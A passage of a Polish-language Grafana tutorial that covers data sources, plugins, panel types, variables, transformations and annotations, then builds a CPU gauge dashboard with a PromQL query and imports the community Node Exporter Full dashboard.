&lt;td&gt;&lt;strong&gt;CloudWatch / Azure Monitor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki usług chmurowych AWS oraz Azure.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;My podłączamy Prometheus. Konfiguracja jest prosta: podajemy adres, pod którym działa nasze źródło, i zapisujemy. W tym przypadku Prometheus siedzi pod adresem &lt;code&gt;http://prometheus:9090&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_04_datasource_config.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuo9jk8l6lg1rhrrf26xl.png" alt="Grafana - konfiguracja źródła danych Prometheus z polem adresu serwera" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Konfiguracja źródła Prometheus. W polu adresu wpisujemy, gdzie działa nasze źródło danych.&lt;/p&gt;

&lt;p&gt;Po zapisaniu i przetestowaniu połączenia źródło pojawia się na liście jako aktywne i domyślne. Od tej chwili Grafana ma z czego rysować.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_03_datasources_list.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvm7n52fdsb0unhxcpoye.png" alt="Grafana - lista źródeł danych z podłączonym i domyślnym źródłem Prometheus" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prometheus podłączony i oznaczony jako domyślne źródło danych.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wtyczki, czyli jak rozszerzyć Grafanę
&lt;/h3&gt;

&lt;p&gt;Jeśli jakiegoś źródła albo wykresu nie ma w Grafanie od razu, prawie na pewno znajdziesz je jako &lt;strong&gt;wtyczkę&lt;/strong&gt; (ang. plugin). To dzięki wtyczkom Grafana obsługuje setki systemów, od baz danych, przez chmury, po narzędzia biznesowe. Wszystkie zebrane są w katalogu na grafana.com i widać je też bezpośrednio w Grafanie, w sekcji Administracja. Katalog liczy setki pozycji, więc naprawdę trudno trafić na system, którego nie da się podłączyć.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_24_plugins.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhzmqzlhianljpdjisvlm.png" alt="Grafana - katalog wtyczek (plugins) z filtrami po typie: źródła danych, panele i aplikacje" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Katalog wtyczek wprost w Grafanie. Można filtrować po typie i jednym kliknięciem zainstalować wybraną wtyczkę.&lt;/p&gt;

&lt;p&gt;Wtyczki dzielą się na trzy rodzaje:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wtyczki źródeł danych (data source)&lt;/strong&gt; dokładają nowe źródła, na przykład Zabbixa, Arkusze Google albo dowolne API zwracające dane w formacie JSON.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wtyczki paneli (panel)&lt;/strong&gt; dokładają nowe typy wizualizacji, na przykład rozbudowane wykresy, zegary czy mapy, których nie ma w standardowym zestawie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wtyczki aplikacji (app)&lt;/strong&gt; to całe gotowe pakiety, które dodają do Grafany osobne strony i funkcje, na przykład rozwiązania do zarządzania alertami na dyżurze.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instalacja jest prosta: w katalogu wybierasz wtyczkę i klikasz &lt;em&gt;Install&lt;/em&gt;, a Grafana pobiera ją sama. Na własnym serwerze można też użyć polecenia &lt;code&gt;grafana-cli plugins install&lt;/code&gt; albo wpisać listę wtyczek do konfiguracji, żeby instalowały się automatycznie przy starcie. Jedna ważna rada dotycząca bezpieczeństwa: instaluj przede wszystkim wtyczki &lt;strong&gt;podpisane&lt;/strong&gt; (oznaczone jako Signed), pochodzące z oficjalnego katalogu, bo działają wewnątrz Twojej Grafany i mają dostęp do danych.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dashboardy i panele, czyli z czego składa się Grafana
&lt;/h2&gt;

&lt;p&gt;W Grafanie pracujemy na dwóch pojęciach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Panel&lt;/strong&gt; to pojedynczy kafelek, na przykład wykres, licznik albo tabela. Panel pokazuje wynik jednego lub kilku zapytań do źródła danych.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dashboard&lt;/strong&gt; to zestaw paneli ułożonych na jednej stronie, na przykład komplet wykresów opisujących kondycję jednego serwera.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Na liście dashboardów widać te, które już mamy. Część zbudowaliśmy sami, część zaimportowaliśmy gotowe. Dashboardy można porządkować w folderach i opisywać tagami, co bardzo pomaga, gdy w firmie jest ich kilkaset.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_06_dashboards_list.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnwk37r0mgd98789bxxig.png" alt="Grafana - lista dashboardów z tagami i nazwami" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lista dashboardów. Każdy można oznaczyć tagami, co ułatwia odnajdywanie ich w większych zespołach.&lt;/p&gt;

&lt;h3&gt;
  
  
  Typy wizualizacji w Grafanie
&lt;/h3&gt;

&lt;p&gt;Grafana daje kilkanaście typów paneli i to samo zapytanie można pokazać na wiele sposobów: jako wykres, licznik, wskaźnik, tabelę albo mapę ciepła. Najczęściej używane typy to:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Typ panelu&lt;/th&gt;
&lt;th&gt;Kiedy się przydaje&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Time series&lt;/strong&gt; (wykres w czasie)&lt;/td&gt;
&lt;td&gt;Zmiana wartości w czasie, na przykład obciążenie CPU minuta po minucie.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Stat&lt;/strong&gt; (licznik)&lt;/td&gt;
&lt;td&gt;Jedna duża liczba, na przykład bieżące zużycie pamięci w procentach.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Gauge&lt;/strong&gt; (wskaźnik)&lt;/td&gt;
&lt;td&gt;Wartość na skali z progami, na przykład zapełnienie dysku ze strefą czerwoną.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Bar chart&lt;/strong&gt; (słupki)&lt;/td&gt;
&lt;td&gt;Porównanie wartości między kategoriami.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Table&lt;/strong&gt; (tabela)&lt;/td&gt;
&lt;td&gt;Wiele wartości i etykiet naraz, do przeglądania szczegółów.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Heatmap&lt;/strong&gt; (mapa ciepła)&lt;/td&gt;
&lt;td&gt;Rozkład wartości, na przykład czasy odpowiedzi aplikacji.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Zmienne, transformacje i adnotacje
&lt;/h3&gt;

&lt;p&gt;Trzy funkcje, które szybko zamieniają początkującego w sprawnego użytkownika Grafany.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zmienne (ang. variables, templating)&lt;/strong&gt; to listy rozwijane u góry dashboardu. Dzięki nim jeden dashboard obsłuży wiele serwerów albo środowisk: wybierasz wartość z listy, a wszystkie panele przeliczają się dla wybranej opcji. Nie musisz budować osobnego dashboardu na każdy serwer. Poniżej dodaliśmy do naszego dashboardu prostą zmienną "Serwer", która pojawia się jako lista wyboru u góry.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_25b_variable_dropdown.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0tgoqqknotx9toxy8ni9.png" alt="Grafana - zmienna dashboardu jako lista wyboru Serwer u góry pulpitu" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Zmienna "Serwer" (zaznaczona ramką) jako lista rozwijana u góry dashboardu. Zmieniasz wybór, a panele przeliczają się same.&lt;/p&gt;

&lt;p&gt;Zmienne definiuje się w ustawieniach dashboardu, w zakładce Variables. Podajesz nazwę, typ (na przykład lista własnych wartości albo wynik zapytania) i gotowe.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_25_variables.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy7jl8wenz4uhmn6llm8g.png" alt="Grafana - ustawienia zmiennych dashboardu (Variables) z definicją zmiennej" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ustawienia zmiennych dashboardu. Tu definiujemy nazwę i typ zmiennej.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Transformacje (ang. transformations)&lt;/strong&gt; to obróbka danych już w Grafanie, bez ruszania źródła. W zakładce Transformations w edytorze panelu możesz połączyć wyniki, policzyć sumy, zmienić nazwy kolumn albo odfiltrować wiersze, zanim trafią na wykres.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_26_transformations.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk9tf86j91gjx5l2tubt4.png" alt="Grafana - zakładka Transformations w edytorze panelu z listą dostępnych transformacji" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Zakładka Transformations. Dane obrabiasz tu w Grafanie, nie ruszając źródła.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adnotacje (ang. annotations)&lt;/strong&gt; to pionowe znaczniki na wykresie opisujące zdarzenia, na przykład wdrożenie nowej wersji albo restart usługi. Od razu widać, czy skok obciążenia zbiegł się z jakąś zmianą. Konfiguruje się je w ustawieniach dashboardu, w zakładce Annotations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_27_annotations.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F10503shhfhcp6jd2kqv4.png" alt="Grafana - ustawienia adnotacji dashboardu (Annotations)" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ustawienia adnotacji. Tu włączamy znaczniki zdarzeń nanoszone na wykresy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Import, eksport i wersjonowanie dashboardów
&lt;/h3&gt;

&lt;p&gt;Każdy dashboard w Grafanie to tak naprawdę plik w formacie JSON. Możesz go wyeksportować, wysłać koledze albo trzymać w repozytorium kodu razem z resztą projektu. To otwiera bardzo wygodną praktykę: &lt;strong&gt;trzymanie konfiguracji jako kod&lt;/strong&gt;. Zamiast klikać wszystko ręcznie po nowej instalacji, wgrywasz gotowe pliki źródeł danych i dashboardów (tak zwany provisioning), a Grafana sama je wczytuje. Grafana zapisuje też historię zmian dashboardu, więc w razie pomyłki wrócisz do wcześniejszej wersji.&lt;/p&gt;

&lt;h2&gt;
  
  
  Budujemy pierwszy dashboard w Grafanie krok po kroku
&lt;/h2&gt;

&lt;p&gt;Teraz najważniejsza część, czyli praktyka. Zbudujemy od zera wskaźnik pokazujący zużycie procesora. Przejdziemy przez to na osiem kroków, a każdy pokażemy na prawdziwym zrzucie z Grafany, dokładnie w takiej kolejności, w jakiej zobaczysz to u siebie.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 1. Utwórz nowy, pusty dashboard
&lt;/h3&gt;

&lt;p&gt;W lewym menu wybieramy &lt;em&gt;Dashboards&lt;/em&gt;, a następnie przycisk &lt;strong&gt;New&lt;/strong&gt; i opcję &lt;em&gt;New dashboard&lt;/em&gt;. Grafana otwiera pusty dashboard w trybie edycji. To nasza czysta kartka, na której zaraz ułożymy panele.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_20_new_dashboard.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fifmk72jnmy9cgrvva4m7.png" alt="Grafana - nowy, pusty dashboard w trybie edycji gotowy do dodania paneli" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 1. Nowy, pusty dashboard w trybie edycji. Na górze przyciski do zapisu i dodawania paneli.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 2. Dodaj panel i wybierz źródło danych
&lt;/h3&gt;

&lt;p&gt;Klikamy przycisk &lt;strong&gt;Add&lt;/strong&gt; u góry i wybieramy &lt;em&gt;Visualization&lt;/em&gt;. Grafana zapyta o źródło danych, wskazujemy nasz Prometheus. Otwiera się edytor nowego, jeszcze pustego panelu. Na dole widać wybrane źródło danych oraz pole na zapytanie, a po prawej listę typów wizualizacji.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_30_new_panel.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmklwn54pqcyv8zyef552.png" alt="Grafana - edytor nowego, pustego panelu z wybranym źródłem danych Prometheus i pustym zapytaniem" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 2. Edytor nowego panelu. Czerwona ramka wskazuje wybór źródła danych (nasz Prometheus). Po prawej mamy typy wizualizacji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 3. Wybierz typ wizualizacji (wskaźnik)
&lt;/h3&gt;

&lt;p&gt;Po prawej stronie klikamy listę wizualizacji i wybieramy &lt;strong&gt;Gauge&lt;/strong&gt;, czyli wskaźnik. Wybraliśmy go, bo od razu pokaże, czy obciążenie jest w strefie zielonej, żółtej czy czerwonej. Ten sam wynik można oczywiście pokazać jako wykres, licznik albo tabelę, o czym mówiliśmy wyżej.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_12_viz_picker.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmlirjpvx364kzfima0bd.png" alt="Grafana - lista typów wizualizacji: Time series, Bar chart, Stat, Gauge, Table, Heatmap" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 3. Wybór typu wizualizacji. Czerwona ramka wskazuje pozycję Gauge (wskaźnik), którą wybieramy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 4. Wpisz zapytanie i zrozum PromQL
&lt;/h3&gt;

&lt;p&gt;W polu zapytania (w trybie Code) wpisujemy zapytanie w języku &lt;strong&gt;PromQL&lt;/strong&gt;, czyli w języku zapytań Prometheusa:&lt;/p&gt;

&lt;p&gt;Kopiuj&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;100 - (avg(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To zapytanie wygląda groźnie, ale mówi prostą rzecz: policz, jaki procent czasu procesor spędził bezczynnie, i odejmij to od stu. Wynik to procent realnego obciążenia CPU. Rozłóżmy je na części, bo to najlepsza okazja, żeby zrozumieć składnię PromQL:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fragment&lt;/th&gt;
&lt;th&gt;Co oznacza&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;node_cpu_seconds_total&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Metryka z node_exportera: łączny czas pracy procesora w sekundach.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{mode="idle"}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Filtr etykiety. Bierzemy tylko czas, w którym procesor był bezczynny (tryb idle).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[5m]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Okno czasu. Patrzymy na ostatnie 5 minut historii tej metryki.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rate(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tempo przyrostu na sekundę w tym oknie, czyli ile "bezczynności" przybywa co sekundę.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;avg(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uśrednienie po wszystkich rdzeniach procesora do jednej liczby.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;* 100&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Zamiana ułamka na procent.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;100 - (...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Odejmujemy procent bezczynności od stu i dostajemy procent obciążenia.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Po wpisaniu zapytania wskaźnik od razu pokazuje bieżące obciążenie procesora.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_22_gauge_edit.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fedklo2tna24b5eb63hss.png" alt="Grafana - wskaźnik gauge dla CPU z wpisanym zapytaniem PromQL" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 4. Wskaźnik CPU z wpisanym zapytaniem. Czerwona ramka wskazuje pole zapytania PromQL, u góry widać gotowy wskaźnik.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 5. Ustaw progi kolorów (thresholds)
&lt;/h3&gt;

&lt;p&gt;Teraz sprawimy, żeby wskaźnik sam zmieniał kolor, gdy robi się gorąco. Służą do tego &lt;strong&gt;progi (ang. thresholds)&lt;/strong&gt;. Znajdziesz je w prawym panelu opcji, po przewinięciu w dół do sekcji &lt;em&gt;Thresholds&lt;/em&gt;. Domyślnie jest tam jeden próg &lt;em&gt;Base&lt;/em&gt; w kolorze zielonym. Klikamy &lt;strong&gt;Add threshold&lt;/strong&gt; i dodajemy dwa progi: wartość &lt;strong&gt;70&lt;/strong&gt; w kolorze żółtym i wartość &lt;strong&gt;85&lt;/strong&gt; w kolorze czerwonym. Od teraz wskaźnik jest zielony do 70 procent, żółty od 70 do 85 i czerwony powyżej 85.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_28_thresholds.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fe0x0cyn4aiorshcfj9cw.png" alt="Grafana - sekcja Thresholds w opcjach panelu z przyciskiem Add threshold i progami kolorów" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 5. Sekcja Thresholds w prawym panelu opcji. Czerwona ramka wskazuje przycisk Add threshold, którym dodajemy progi 70 (żółty) i 85 (czerwony).&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 6. Zapisz i nazwij dashboard
&lt;/h3&gt;

&lt;p&gt;Panel gotowy, więc zapisujemy całość przyciskiem &lt;strong&gt;Save dashboard&lt;/strong&gt;. Grafana poprosi o nazwę i folder. Nazywajmy dashboardy po ludzku, na przykład "Kondycja serwera", bo za tydzień nikt nie będzie pamiętał, co znaczy skrót z trzech liter.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_23_save_dialog.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0vljf5txoqx3612znq3e.png" alt="Grafana - okno zapisu dashboardu z polem nazwy i wyborem folderu" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 6. Zapis dashboardu. Podajemy nazwę i folder, w którym ma się znaleźć.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 7. Gotowy dashboard
&lt;/h3&gt;

&lt;p&gt;Dokładamy jeszcze dwa panele (licznik pamięci i wykres obciążenia w czasie) w ten sam sposób i mamy pierwszy, w pełni działający dashboard. Wskaźnik CPU pokazuje bieżące obciążenie, licznik zużycie pamięci, a wykres na dole to samo obciążenie w czasie.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_10_first_dashboard.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwbj00mzgd1wlguob4sfh.png" alt="Grafana - gotowy pierwszy dashboard: wskaźnik CPU, licznik RAM, obciążenie i wykres w czasie" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 7. Nasz pierwszy dashboard w Grafanie, zbudowany od zera.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 8. Zmień zakres czasu
&lt;/h3&gt;

&lt;p&gt;Na koniec rzecz, której używa się bez przerwy: &lt;strong&gt;selektor zakresu czasu&lt;/strong&gt; w prawym górnym rogu. Jednym kliknięciem przełączamy widok z ostatnich 30 minut na ostatnią godzinę, dobę albo dowolny własny przedział, a wszystkie panele odświeżają się razem.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_13_time_range.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz3y5pfacv2vh2n1i9ahb.png" alt="Grafana - selektor zakresu czasu z gotowymi zakresami: ostatnie 5 minut, godzina, doba" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Krok 8. Selektor zakresu czasu. Zmiana przedziału od razu przelicza wszystkie panele.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotowe dashboardy ze społeczności (import krok po kroku)
&lt;/h2&gt;

&lt;p&gt;Nie wszystko trzeba budować samemu. Największa siła Grafany to społeczność, która dzieli się gotowymi dashboardami. Na stronie &lt;strong&gt;grafana.com/dashboards&lt;/strong&gt; jest ich kilka tysięcy: dla serwerów, baz danych, Kubernetesa, Dockera, kolejek, aplikacji i setek innych systemów. Każdy dashboard ma swój &lt;strong&gt;numer&lt;/strong&gt; (ID), a wystarczy podać ten numer w Grafanie, żeby wgrać komplet gotowych wykresów.&lt;/p&gt;

&lt;p&gt;Import przebiega tak:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Na grafana.com/dashboards znajdujesz dashboard, który Cię interesuje, i zapisujesz jego numer. Dla monitoringu serwera to najczęściej &lt;strong&gt;Node Exporter Full&lt;/strong&gt; o numerze &lt;strong&gt;1860&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;W Grafanie wybierasz &lt;em&gt;Dashboards&lt;/em&gt;, potem &lt;em&gt;New&lt;/em&gt; i &lt;em&gt;Import&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Wpisujesz numer dashboardu (1860) w pole "Grafana.com dashboard URL or ID" i klikasz &lt;em&gt;Load&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Grafana pobiera definicję i prosi o wskazanie źródła danych. Wybierasz swój Prometheus i klikasz &lt;em&gt;Import&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_29_import.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9gx8oxbuwhhowfl1wa3o.png" alt="Grafana - ekran importu dashboardu z polem na numer z grafana.com i przyciskiem Load" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ekran importu. W zaznaczone pole wpisujemy numer dashboardu (tu 1860) i klikamy Load.&lt;/p&gt;

&lt;p&gt;Po kilku sekundach mamy gotowy, rozbudowany dashboard, taki jak Node Exporter Full z początku artykułu. Jego górna część to zestaw wskaźników z najważniejszymi liczbami: obciążenie CPU, zużycie pamięci i zapełnienie dysku w jednym rzucie oka.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/GRAFANA_KURS/grafana_08_node_exporter_top.png" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2yv9j9uva41hkmcdlwgy.png" alt="Grafana - górny pas wskaźników w dashboardzie Node Exporter Full: CPU, pamięć, dysk" width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Zaimportowany Node Exporter Full. Kilka wskaźników i od razu wiadomo, czy z serwerem jest wszystko w porządku.&lt;/p&gt;

&lt;p&gt;Grafana nie ogranicza się do metryk pojedynczego serwera. Równie łatwo zaimportować dashboard do monitoringu kontenerów. Poniższy pokazuje zużycie procesora, pamięci i ruch sieciowy w rozbiciu na poszczególne kontenery Dockera, każdy jako osobna linia z etykietą.&lt;/p&gt;

